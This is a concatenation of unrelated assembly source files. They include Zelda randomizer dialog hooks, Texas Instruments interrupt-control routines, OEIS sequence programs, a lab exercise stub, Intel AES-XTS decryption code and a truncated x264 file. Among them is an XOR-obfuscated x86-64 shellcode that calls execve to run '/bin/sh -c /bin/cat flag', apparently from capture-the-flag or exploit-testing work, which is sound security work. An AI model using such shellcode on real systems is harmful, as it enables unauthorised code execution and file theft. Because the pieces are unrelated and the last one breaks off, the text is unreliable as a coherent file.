;---------------------------------------------------- ;-- Kiki org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees STZ $1CE8 : NOP org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees NOP #4 org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees STZ $1CE8 : NOP org $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door NOP #4 ;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees ;NOP #4 ;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees ;NOP #4 ;---------------------------------------------------- ;-- Witch org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) NOP #4 ;---------------------------------------------------- ;-- Breaking Ganon's Tower Seal org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------- ;-- Bombos tablet org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional) JSL.l DialogBombosTablet ;---------------------------------------------------- ;-- Ether tablet org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional) JSL.l DialogEtherTablet ;---------------------------------------------------- ;-- Agahnim 1 Defeated org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal) ;;;JSL.l AddInventory_incrementBossSwordLong ;NOP #4 ;---------------------------------------------------- ;-- Old Mountain Man Encounter Text org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact) JSL Sprite_ShowMessageFromPlayerContact_Edit org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong) JML OldMountainMan_TransitionFromTagalong_Edit ;---------------------------------------------------------- ;-- Purple Chest Encounter Text org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;-- Middle aged man opens purple chest org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;-- Smiths ;-- Ribbit org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Ask us to do anything org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Your sword is tempered! org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Brought dwarf home org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- 10 rupees to temper org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Yes, I'm sure org $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- We'll take your sword org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional) JSL ItemSet_SmithSword ;NOP #4 ;-- Smiths can't make your sword any stronger org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Not enough magic text org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------------- ;-- Witch's Assistant org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;---------------------------------------------------------- ;-- Bottle Vendor org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Digging Game Guy org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Flute Boy org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- 300 rupee npcs org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;---------------------------------------------------------- ;-- Chest Game Guy org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Desert Palace plaque (opening desert with book) org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Uncle gives sword org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;=================================== ;-- Escort Text ;-- dw coordinate, coordinate, flag, text message number, tagalong number ;=================================== org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1) dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot) dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here" dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage" dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage" dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage" dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this" dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever" dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room ;===================================================== ;-- Multiworld dialog override hook for item pickups ;===================================================== org $0eee88 jml alttp_multiworld_dialog ; Ancilla_ReceiveItem org $08C553 jsl alttp_mw_no_rupees ;===================================================== ;-- Multiworld gameplay hooks for message queue ;===================================================== org $02a499 ; Overworld (JSL Player_Main) jsl alttp_mw_handle_queue org $028849 ; Dungeon (JSL Player_Main) jsl alttp_mw_handle_queue ; Dark room temporary light cone disable ; org $08C531 jsl DisableTemporaryCone : nop #3 ; Hook the beginning of Save & Quit to add soft-reset restrictions org $00fa2b ; Bank00.asm : 8724 (LDA.b #$17 : STA $10) jsl OnBeginSaveAndQuit
;/***************************************************************************** ; * Copyright (c) Texas Instruments Inc 2002, 2003, 2004, 2005 ; * ; * Use of this software is controlled by the terms and conditions found in the ; * license agreement under which this software has been supplied. ; *****************************************************************************/ ;/** @file _csl_intcIntrEnDisRes.asm ; * ; * @date 12th June, 2004 ; * @author Ruchika Kharwar ; */ ; A0 contains the Register to be read _CSL_INTC_GIE_MASK .equ 0x00000001 _CSL_INTC_GIE_MASK_DISABLE .equ 0xfffffffe _CSL_INTC_GEE .equ 4h _CSL_INTC_XEN .equ 8h .ref __CSL_intcVectorTable .sect ".text:csl_section:intc" .global __CSL_intcIvpSet __CSL_intcIvpSet: bnop b3,2 mvkl __CSL_intcVectorTable, b0 mvkh __CSL_intcVectorTable, b0 mvc b0, istp .global _CSL_intcInterruptEnable _CSL_intcInterruptEnable: ;input argument is in a4 ;return value is in a4 bnop b3, 1 mvk 1, a5 mvc ier, b0 ||shl a5, a4, a5 ; Or mask obtained shru b0, a5, a4 ; return value obtained ||or a5, b0, b0 mvc b0, ier ||and a4,1,a4 .global _CSL_intcInterruptDisable _CSL_intcInterruptDisable: ;input argument is in a4 ;return value is in a4 bnop b3, 1 mvk 1, a5 mvc ier, b0 ||shl a5, a4, a5 ; Or mask obtained shru b0, a4, a4 ; return value obtained ||andn b0, a5, b0 mvc b0, ier ||and a4,1,a4 .global _CSL_intcInterruptClear _CSL_intcInterruptClear: ;input argument is in a4 bnop b3, 1 mv a4,b2 mvk 1, b1 shl b1, b2, b1 ; Or mask obtained mvc b1, icr .global _CSL_intcInterruptSet _CSL_intcInterruptSet: bnop b3, 1 mv a4,b2 mvk 1, b1 shl b1, b2, b1 ; Or mask obtained mvc b1, isr .global _CSL_intcInterruptRestore _CSL_intcInterruptRestore: ;a4 contains the vectorId ;b4 contains the value to be restored b b3 mv a4,b1 shl .s2 b4,b1,b4 mvc ier,b0 or b0,b4,b0 mvc b0,ier .global _CSL_intcQueryInterruptStatus _CSL_intcQueryInterruptStatus: b b3 mvk 1, b1 mvc ifr, b0 shl b1, a4,a5 and a5,b0,a5 shru a5,a4,a4 .global _CSL_intcGlobalEnable _CSL_intcGlobalEnable: bnop b3 mv a4,a0 ||mvc csr, b0 and b0 , _CSL_INTC_GIE_MASK, a3 [a0] stnw a3 , *a0 ||or b0 , _CSL_INTC_GIE_MASK, b0 mvc b0 , csr mvk 1, a4 ; CSL_Status = CSL_SOK .global _CSL_intcGlobalDisable _CSL_intcGlobalDisable: bnop b3 mv a4,a0 ||mvc csr, b0 and b0 , 1, a3 [a0]stnw a3 , *a0 ||and b0 , _CSL_INTC_GIE_MASK_DISABLE, b0 mvc b0 , csr mvk 1, a4 .global _CSL_intcGlobalRestore _CSL_intcGlobalRestore: bnop b3 mvc csr, b0 and a4, _CSL_INTC_GIE_MASK, b1 or b1, b0,b0 mvk 1, a4 ; CSL_Status mvc b0 , csr .global _CSL_intcGlobalNmiEnable _CSL_intcGlobalNmiEnable: bnop b3, 1 mvc ier, b0 or 2, b0, b0 mvc b0, ier mvk 1, a4 .global _CSL_intcGlobalExcepEnable _CSL_intcGlobalExcepEnable: bnop b3, 1 mvc tsr, b0 or _CSL_INTC_GEE, b0, b0 mvc b0, tsr mvk 1, a4 .global _CSL_intcGlobalExtExcepEnable _CSL_intcGlobalExtExcepEnable: bnop b3, 1 mvc tsr, b0 or _CSL_INTC_XEN, b0, b0 mvc b0, tsr mvk 1, a4 .global _CSL_intcGlobalExcepClear _CSL_intcGlobalExcepClear: b b3 mvk 1, a3 shl a3, a4, a3 mv a3, b2 mvc b2, ecr mvk 1, a4
; A182769: Beatty sequence for (4 + sqrt(2))/2. ; 2,5,8,10,13,16,18,21,24,27,29,32,35,37,40,43,46,48,51,54,56,59,62,64,67,70,73,75,78,81,83,86,89,92,94,97,100,102,105,108,110,113,116,119,121,124,127,129,132,135,138,140,143,146,148,151,154,157,159,162,165,167,170,173,175,178,181,184,186,189,192,194,197,200,203,205,208,211,213,216,219,221,224,227,230,232,235,238,240,243,246,249,251,254,257,259,262,265,268,270,273,276,278,281,284,286,289,292,295,297,300,303,305,308,311,314,316,319,322,324,327,330,332,335,338,341,343,346,349,351,354,357,360,362,365,368,370,373,376,378,381,384,387,389,392,395,397,400,403,406,408,411,414,416,419,422,425,427,430,433,435,438,441,443,446,449,452,454,457,460,462,465,468,471,473,476,479,481,484,487,489,492,495,498,500,503,506,508,511,514,517,519,522,525,527,530,533,536,538,541,544,546,549,552,554,557,560,563,565,568,571,573,576,579,582,584,587,590,592,595,598,600,603,606,609,611,614,617,619,622,625,628,630,633,636,638,641,644,646,649,652,655,657,660,663,665,668,671,674,676 mov $7,$0 mov $8,$0 add $0,1 pow $0,2 mov $2,$0 mov $3,1 lpb $2 add $3,1 mov $4,$2 trn $4,2 lpb $4 add $3,4 trn $4,$3 add $5,2 lpe sub $2,$2 lpe mov $1,$5 mov $6,$7 mul $6,2 add $1,$6 div $1,2 add $1,2 add $1,$8
; A258290: Arithmetic derivative of central binomial coefficients, cf. A000984. ; 0,1,5,24,59,456,1448,6868,19749,69364,236356,1526956,3717440,22858340,122553540,474051984,954720543,5726109024,19329586520,92051285020,319059863484,1271796704788,4829219746964,29791326914640,74372011398840,340296661452300,1491340256144172,4918156369293664 mov $2,$0 mul $0,2 bin $0,$2 cal $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m). mov $1,$0
%include "../utils/printf32.asm" %define ARRAY_LEN 7 section .data input dd 122, 184, 199, 242, 263, 845, 911 output times ARRAY_LEN dd 0 section .text extern printf global main main: ; TODO push the elements of the array on the stack ; TODO retrieve the elements (pop) from the stack into the output array PRINTF32 `Reversed array: \n\x0` xor ecx, ecx print_array: mov edx, [output + 4 * ecx] PRINTF32 `%d\n\x0`, edx inc ecx cmp ecx, ARRAY_LEN jb print_array xor eax, eax ret
; A015242: a(n) = (2*n - 7)*n^2. ; 0,-5,-12,-9,16,75,180,343,576,891,1300,1815,2448,3211,4116,5175,6400,7803,9396,11191,13200,15435,17908,20631,23616,26875,30420,34263,38416,42891,47700,52855,58368,64251,70516,77175,84240,91723,99636,107991,116800,126075,135828,146071,156816,168075,179860,192183,205056,218491,232500,247095,262288,278091,294516,311575,329280,347643,366676,386391,406800,427915,449748,472311,495616,519675,544500,570103,596496,623691,651700,680535,710208,740731,772116,804375,837520,871563,906516,942391,979200,1016955,1055668,1095351,1136016,1177675,1220340,1264023,1308736,1354491,1401300,1449175,1498128,1548171,1599316,1651575,1704960,1759483,1815156,1871991 mov $1,$0 mul $0,2 sub $0,7 mul $0,$1 mul $0,$1
; A131723: a(2*n) = 1-n^2, a(2*n+1) = n*(n+1). ; 0,2,-3,6,-8,12,-15,20,-24,30,-35,42,-48,56,-63,72,-80,90,-99,110,-120,132,-143,156,-168,182,-195,210,-224,240,-255,272,-288,306,-323,342,-360,380,-399,420,-440,462,-483,506,-528,552,-575,600,-624,650,-675,702,-728,756,-783,812,-840,870,-899,930,-960,992,-1023,1056,-1088,1122,-1155,1190,-1224,1260,-1295,1332,-1368,1406,-1443,1482,-1520,1560,-1599,1640,-1680,1722,-1763,1806,-1848,1892,-1935,1980,-2024,2070,-2115,2162,-2208,2256,-2303,2352,-2400,2450,-2499,2550,-2600,2652,-2703,2756,-2808,2862,-2915,2970,-3024,3080,-3135,3192,-3248,3306,-3363,3422,-3480,3540,-3599,3660,-3720,3782,-3843,3906,-3968,4032,-4095,4160,-4224,4290,-4355,4422,-4488,4556,-4623,4692,-4760,4830,-4899,4970,-5040,5112,-5183,5256,-5328,5402,-5475,5550,-5624,5700,-5775,5852,-5928,6006,-6083,6162,-6240,6320,-6399,6480,-6560,6642,-6723,6806,-6888,6972,-7055,7140,-7224,7310,-7395,7482,-7568,7656,-7743,7832,-7920,8010,-8099,8190,-8280,8372,-8463,8556,-8648,8742,-8835,8930,-9024,9120,-9215,9312,-9408,9506,-9603,9702,-9800,9900,-9999,10100,-10200,10302,-10403,10506,-10608,10712,-10815,10920,-11024,11130,-11235,11342,-11448,11556,-11663,11772,-11880,11990,-12099,12210,-12320,12432,-12543,12656,-12768,12882,-12995,13110,-13224,13340,-13455,13572,-13688,13806,-13923,14042,-14160,14280,-14399,14520,-14640,14762,-14883,15006,-15128,15252,-15375,15500,-15624,15750 mov $3,1 add $3,$0 mov $4,$3 add $3,2 lpb $0,1 sub $0,1 mul $3,$4 mov $1,$3 mov $2,1 sub $2,$3 mov $3,$2 mov $4,1 lpe div $1,4
;Copyright 2019 Google LLC ; ;Licensed under the Apache License, Version 2.0 (the "License"); ;you may not use this file except in compliance with the License. ;You may obtain a copy of the License at ; ; https://www.apache.org/licenses/LICENSE-2.0 ; ;Unless required by applicable law or agreed to in writing, software ;distributed under the License is distributed on an "AS IS" BASIS, ;WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ;See the License for the specific language governing permissions and ;limitations under the License. BITS 64 GLOBAL _start SECTION .text _start: ; execve(path='/bin/sh', argv=['sh', '-c', '/bin/cat flag'], envp=0) */ ; push '/bin/sh\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x68732f6e69622f xor [rsp], rax mov rdi, rsp ; push argument array ['sh\x00', '-c\x00', '/bin/cat flag\x00'] */ ; push 'sh\x00-c\x00/bin/cat flag\x00' */ push 0x1010101 ^ 0x67616c xor dword [rsp], 0x1010101 mov rax, 0x66207461632f6e69 push rax mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x622f00632d006873 xor [rsp], rax xor esi, esi ; 0 */ push rsi ; null terminate */ push 0xe pop rsi add rsi, rsp push rsi ; '/bin/cat flag\x00' */ push 0x13 pop rsi add rsi, rsp push rsi ; '-c\x00' */ push 0x18 pop rsi add rsi, rsp push rsi ; 'sh\x00' */ mov rsi, rsp xor edx, edx ; 0 */ ; call execve() */ push 0x3b pop rax syscall
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 ALPHA_MUL_CNT: .quad 0x87, 0x1 .p2align 5, 0x90 .globl l9_cpAESDecryptXTS_AES_NI .type l9_cpAESDecryptXTS_AES_NI, @function l9_cpAESDecryptXTS_AES_NI: sub $(104), %rsp movslq %r8d, %r8 movdqu (%r9), %xmm15 shl $(4), %r8 movdqa (%r8,%rcx), %xmm0 movdqa ALPHA_MUL_CNT(%rip), %xmm8 pshufd $(95), %xmm15, %xmm9 movslq %edx, %rdx movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 movdqa %xmm15, %xmm10 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm0, %xmm10 pxor %xmm14, %xmm15 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 movdqa %xmm15, %xmm11 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm0, %xmm11 pxor %xmm14, %xmm15 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 movdqa %xmm15, %xmm12 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm0, %xmm12 pxor %xmm14, %xmm15 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 movdqa %xmm15, %xmm13 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm0, %xmm13 pxor %xmm14, %xmm15 movdqa %xmm15, %xmm14 psrad $(31), %xmm9 paddq %xmm15, %xmm15 pand %xmm8, %xmm9 pxor %xmm0, %xmm14 pxor %xmm9, %xmm15 movdqa %xmm15, %xmm8 pxor %xmm0, %xmm15 sub $(6), %rdx jc .Lshort_inputgas_1 .p2align 5, 0x90 .Lblks_loopgas_1: pxor (%rcx), %xmm0 lea (-96)(%r8), %rax lea (96)(%rcx), %r10 movdqu (%rsi), %xmm2 movdqu (16)(%rsi), %xmm3 movdqu (32)(%rsi), %xmm4 movdqu (48)(%rsi), %xmm5 movdqu (64)(%rsi), %xmm6 movdqu (80)(%rsi), %xmm7 movdqa (-16)(%r8,%rcx), %xmm1 pxor %xmm10, %xmm2 pxor %xmm11, %xmm3 pxor %xmm12, %xmm4 pxor %xmm13, %xmm5 pxor %xmm14, %xmm6 pxor %xmm15, %xmm7 pxor %xmm0, %xmm10 pxor %xmm0, %xmm11 pxor %xmm0, %xmm12 pxor %xmm0, %xmm13 pxor %xmm0, %xmm14 pxor %xmm0, %xmm15 movdqa (-32)(%r8,%rcx), %xmm0 movdqa %xmm10, (%rsp) movdqa %xmm11, (16)(%rsp) movdqa %xmm12, (32)(%rsp) movdqa %xmm13, (48)(%rsp) movdqa %xmm14, (64)(%rsp) movdqa %xmm15, (80)(%rsp) add $(96), %rsi .p2align 5, 0x90 .Lcipher_loopgas_1: sub $(32), %rax aesdec %xmm1, %xmm2 aesdec %xmm1, %xmm3 aesdec %xmm1, %xmm4 aesdec %xmm1, %xmm5 aesdec %xmm1, %xmm6 aesdec %xmm1, %xmm7 movdqa (-16)(%r10,%rax), %xmm1 aesdec %xmm0, %xmm2 aesdec %xmm0, %xmm3 aesdec %xmm0, %xmm4 aesdec %xmm0, %xmm5 aesdec %xmm0, %xmm6 aesdec %xmm0, %xmm7 movdqa (-32)(%r10,%rax), %xmm0 jnz .Lcipher_loopgas_1 movdqa (%r8,%rcx), %xmm10 movdqa %xmm8, %xmm15 pshufd $(95), %xmm8, %xmm9 movdqa ALPHA_MUL_CNT(%rip), %xmm8 aesdec %xmm1, %xmm2 aesdec %xmm1, %xmm3 aesdec %xmm1, %xmm4 aesdec %xmm1, %xmm5 aesdec %xmm1, %xmm6 aesdec %xmm1, %xmm7 movdqa (48)(%rcx), %xmm1 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm14, %xmm15 movdqa %xmm10, %xmm11 pxor %xmm15, %xmm10 aesdec %xmm0, %xmm2 aesdec %xmm0, %xmm3 aesdec %xmm0, %xmm4 aesdec %xmm0, %xmm5 aesdec %xmm0, %xmm6 aesdec %xmm0, %xmm7 movdqa (32)(%rcx), %xmm0 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm14, %xmm15 movdqa %xmm11, %xmm12 pxor %xmm15, %xmm11 aesdec %xmm1, %xmm2 aesdec %xmm1, %xmm3 aesdec %xmm1, %xmm4 aesdec %xmm1, %xmm5 aesdec %xmm1, %xmm6 aesdec %xmm1, %xmm7 movdqa (16)(%rcx), %xmm1 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm14, %xmm15 movdqa %xmm12, %xmm13 pxor %xmm15, %xmm12 aesdec %xmm0, %xmm2 aesdec %xmm0, %xmm3 aesdec %xmm0, %xmm4 aesdec %xmm0, %xmm5 aesdec %xmm0, %xmm6 aesdec %xmm0, %xmm7 movdqa %xmm9, %xmm14 paddd %xmm9, %xmm9 psrad $(31), %xmm14 paddq %xmm15, %xmm15 pand %xmm8, %xmm14 pxor %xmm14, %xmm15 movdqa %xmm13, %xmm14 pxor %xmm15, %xmm13 aesdec %xmm1, %xmm2 aesdec %xmm1, %xmm3 aesdec %xmm1, %xmm4 aesdec %xmm1, %xmm5 aesdec %xmm1, %xmm6 aesdec %xmm1, %xmm7 movdqa %xmm9, %xmm0 paddd %xmm9, %xmm9 psrad $(31), %xmm0 paddq %xmm15, %xmm15 pand %xmm8, %xmm0 pxor %xmm0, %xmm15 movdqa %xmm14, %xmm0 pxor %xmm15, %xmm14 aesdeclast (%rsp), %xmm2 aesdeclast (16)(%rsp), %xmm3 aesdeclast (32)(%rsp), %xmm4 aesdeclast (48)(%rsp), %xmm5 aesdeclast (64)(%rsp), %xmm6 aesdeclast (80)(%rsp), %xmm7 psrad $(31), %xmm9 paddq %xmm15, %xmm15 pand %xmm8, %xmm9 pxor %xmm9, %xmm15 movdqa %xmm15, %xmm8 pxor %xmm0, %xmm15 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) movdqu %xmm6, (64)(%rdi) movdqu %xmm7, (80)(%rdi) add $(96), %rdi sub $(6), %rdx jnc .Lblks_loopgas_1 .Lshort_inputgas_1: add $(6), %rdx jz .Lquitgas_1 movdqa %xmm10, (%rsp) movdqa %xmm11, (16)(%rsp) movdqa %xmm12, (32)(%rsp) movdqa %xmm13, (48)(%rsp) movdqa %xmm14, (64)(%rsp) movdqa %xmm15, (80)(%rsp) movdqa (%r8,%rcx), %xmm0 pxor (%rcx), %xmm0 xor %rax, %rax .Lsingle_blk_loopgas_1: movdqu (%rsi), %xmm2 movdqa (%rsp,%rax), %xmm1 add $(16), %rsi pxor %xmm1, %xmm2 pxor %xmm0, %xmm1 cmp $(192), %r8 jl .Lkey_128_sgas_1 .Lkey_256_sgas_1: aesdec (208)(%rcx), %xmm2 aesdec (192)(%rcx), %xmm2 aesdec (176)(%rcx), %xmm2 aesdec (160)(%rcx), %xmm2 .Lkey_128_sgas_1: aesdec (144)(%rcx), %xmm2 aesdec (128)(%rcx), %xmm2 aesdec (112)(%rcx), %xmm2 aesdec (96)(%rcx), %xmm2 aesdec (80)(%rcx), %xmm2 aesdec (64)(%rcx), %xmm2 aesdec (48)(%rcx), %xmm2 aesdec (32)(%rcx), %xmm2 aesdec (16)(%rcx), %xmm2 aesdeclast %xmm1, %xmm2 movdqu %xmm2, (%rdi) add $(16), %rdi add $(16), %rax sub $(1), %rdx jnz .Lsingle_blk_loopgas_1 movdqa (%rsp,%rax), %xmm10 .Lquitgas_1: pxor (%r8,%rcx), %xmm10 movdqu %xmm10, (%r9) pxor %xmm0, %xmm0 pxor %xmm1, %xmm1 add $(104), %rsp vzeroupper ret .Lfe1: .size l9_cpAESDecryptXTS_AES_NI, .Lfe1-(l9_cpAESDecryptXTS_AES_NI)
;***************************************************************************** ;* cabac-a.asm: x86 cabac ;***************************************************************************** ;* Copyright (C) 2008-2020 x264 project ;* ;* Authors: Loren Merritt <lorenm@u.washington.edu> ;* Fiona Glaser <fiona@x264.com> ;* Holger Lubitz <holger@lubitz.org> ;* ;* This program is free software; you can redistribute it and/or modify ;* it under the terms of the GNU General Public License as published by ;* the Free Software Foundation; either version 2 of the License, or ;* (at your option) any later version. ;* ;* This program is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;* GNU General Public License for more details. ;* ;* You should have received a copy of the GNU General Public License ;* along with this program; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA. ;* ;* This program is also available under a commercial proprietary license. ;* For more information, contact us at licensing@x264.com. ;***************************************************************************** %include "x86inc.asm" %include "x86util.asm" SECTION_RODATA 64 %if ARCH_X86_64 %macro COEFF_LAST_TABLE 4-18 16, 15, 16, 4, 15, 64, 16, 15, 16, 64, 16, 15, 16, 64 %xdefine %%funccpu1 %2 ; last4 %xdefine %%funccpu2 %3 ; last64 %xdefine %%funccpu3 %4 ; last15/last16 coeff_last_%1: %xdefine %%base coeff_last_%1 %rep 14 %ifidn %5, 4 dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu1) - %%base %elifidn %5, 64 dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu2) - %%base %else dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu3) - %%base %endif %rotate 1 %endrep dd 0, 0 ; 64-byte alignment padding %endmacro cextern coeff_last4_mmx2 cextern coeff_last4_lzcnt %if HIGH_BIT_DEPTH cextern coeff_last4_avx512 %endif cextern coeff_last15_sse2 cextern coeff_last15_lzcnt cextern coeff_last15_avx512 cextern coeff_last16_sse2 cextern coeff_last16_lzcnt cextern coeff_last16_avx512 cextern coeff_last64_sse2 cextern coeff_last64_lzcnt cextern 